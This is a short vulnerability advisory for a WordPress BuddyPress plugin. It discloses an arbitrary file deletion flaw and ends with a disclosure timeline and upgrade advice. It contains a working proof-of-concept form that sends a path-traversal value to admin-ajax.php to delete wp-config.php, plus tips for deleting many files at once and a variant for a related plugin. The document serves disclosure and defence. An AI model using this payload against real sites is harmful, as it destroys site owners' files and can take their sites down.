Ensure your PHP user can do maximum damage:

sudo chown www-data:www-data /var/vhosts/my-wordpress-site

Visit a page containing this as a logged-in user and click submit:

<form method="POST" action="http://localhost/wp-admin/admin-ajax.php">
  <input type="text" name="action" value="bpfb_remove_temp_images">
  <input type="text" name="data" value="bpfb_photos[]=../../../../wp-config.php">
  <input type="submit">
</form>

If the server is set up so that the php user has more restricted permissions, then an attacker will at least be able to delete files from the uploads directory.

Note that you can also delete as many things as you like at once – $_POST[‘data’] is run through parse_str() which parses it as a query string, so just keep adding “&bpfb_photos[]=path/to/file” to the end until you have all known files.

There is an identical attack available only when BP Group Documents is also installed. Just replace “bpfb_remove_temp_images” with “bpfb_remove_temp_documents” and in data replace “bpfb_photos” with “bpfb_documents”.

• 2013-08-22: Discovered
• 2015-07-13: Reported to vendor via contact form at https://premium.wpmudev.org/contact/
• 2015-07-13: Requested CVE
• 2015-07-13: Vendor responded
• 2015-07-14: Vendor reported issue fixed
• 2015-07-14: Published

Upgrade to version 1.6.2 or later

If this is not possible, ensure that the PHP user on the server does not have permission to delete files like wp-config.php.